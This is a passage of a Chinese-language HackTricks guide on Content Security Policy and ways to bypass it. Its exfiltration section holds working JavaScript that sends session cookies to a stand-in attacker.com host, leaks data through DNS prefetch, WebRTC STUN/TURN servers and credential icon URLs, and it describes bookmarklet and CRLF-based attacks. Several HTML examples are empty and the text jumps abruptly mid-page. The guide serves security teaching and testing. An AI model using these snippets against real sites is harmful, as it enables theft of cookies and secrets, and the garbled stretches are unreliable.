# 内容安全策略 (CSP) 绕过 {{#include ../../banners/hacktricks-training.md}} ## 什么是 CSP 内容安全策略 (CSP) 被认为是一种浏览器技术,主要旨在 **防御诸如跨站脚本攻击 (XSS)** 的攻击。它通过定义和详细说明浏览器可以安全加载资源的路径和来源来发挥作用。这些资源包括图像、框架和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括内联资源以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。 CSP 的实施通过 **响应头** 或通过将 **meta 元素嵌入 HTML 页面** 来进行。遵循此政策,浏览器主动执行这些规定,并立即阻止任何检测到的违规行为。 - 通过响应头实施: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - 通过 meta 标签实现: ```xml ``` ### Headers CSP 可以通过以下头部进行强制执行或监控: - `Content-Security-Policy`: 强制执行 CSP;浏览器阻止任何违规行为。 - `Content-Security-Policy-Report-Only`: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。 ### Defining Resources CSP 限制加载主动和被动内容的来源,控制诸如内联 JavaScript 执行和使用 `eval()` 等方面。一个示例策略是: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### 指令 - **script-src**: 允许特定来源的JavaScript,包括URL、内联脚本和由事件处理程序或XSLT样式表触发的脚本。 - **default-src**: 设置在缺少特定获取指令时获取资源的默认策略。 - **child-src**: 指定允许的Web工作者和嵌入框架内容的资源。 - **connect-src**: 限制可以使用fetch、WebSocket、XMLHttpRequest等接口加载的URL。 - **frame-src**: 限制框架的URL。 - **frame-ancestors**: 指定可以嵌入当前页面的来源,适用于``、` // The bot will load an URL with the payload ``` ### 通过书签小程序 此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小程序上**。此书签小程序将包含**恶意的javascript**代码,当被拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**,例如cookies或tokens。 有关更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 ### 通过限制CSP绕过CSP 在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,通过在允许的iframe内注入更严格的CSP来绕过CSP,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本以加载任意脚本**。 您可以使用**`csp`**属性**限制iframe的CSP**: ```html ``` 在[**这个CTF写作**](https://github.com/aszx87410/ctf-writeups/issues/48)中,通过**HTML注入**可以**进一步限制**一个**CSP**,从而禁用防止CSTI的脚本,因此**漏洞变得可利用。**\ 可以使用**HTML元标签**使CSP变得更加严格,并且可以通过**移除**允许其**nonce**的**入口**来禁用内联脚本,并通过sha**启用特定的内联脚本: ```html ``` ### JS exfiltration with Content-Security-Policy-Report-Only 如果你能够使服务器响应带有 **`Content-Security-Policy-Report-Only`** 头部且 **值由你控制**(可能是因为 CRLF),你可以使其指向你的服务器,并且如果你 **将** 你想要泄露的 **JS 内容** 包裹在 **``中,请注意这个**脚本**将被**加载**,因为它是**被'self'允许的**。此外,由于安装了WordPress,攻击者可能会通过**易受攻击的****回调**端点滥用**SOME攻击**,该端点**绕过CSP**以给予用户更多权限,安装新插件...\ 有关如何执行此攻击的更多信息,请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses 如果存在严格的CSP,不允许您**与外部服务器交互**,您始终可以做一些事情来提取信息。 ### Location 您可以仅更新位置以将秘密信息发送到攻击者的服务器: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag 您可以通过注入 meta 标签进行重定向(这只是重定向,不会泄露内容) ```html ``` ### DNS Prefetch 为了更快地加载页面,浏览器将预先解析主机名为IP地址并将其缓存以供后续使用。\ 您可以通过以下方式指示浏览器预解析主机名:`` 您可以利用这种行为来**通过DNS请求外泄敏感信息**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] body.innerHTML = body.innerHTML + '' ``` 另一种方法: ```javascript const linkEl = document.createElement("link") linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` 为了避免这种情况,服务器可以发送 HTTP 头: ``` X-DNS-Prefetch-Control: off ``` > [!NOTE] > 显然,这种技术在无头浏览器(机器人)中不起作用。 ### WebRTC 在几个页面上,你可以看到**WebRTC不检查CSP的`connect-src`策略**。 实际上,你可以通过_ DNS请求_来_泄露_信息。查看这段代码: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })() ``` 另一个选项: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer 凭证弹出窗口向 iconURL 发送 DNS 请求,而不受页面的限制。它仅在安全上下文(HTTPS)或本地主机上工作。 ```javascript navigator.credentials.store( new FederatedCredential({ id:"satoki", name:"satoki", provider:"https:"+your_data+"example.com", iconURL:"https:"+your_data+"example.com" }) ) ``` ## 在线检查 CSP 策略 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## 自动创建 CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## 参考文献 - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) - [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) - [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) - [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​ {{#include ../../banners/hacktricks-training.md}}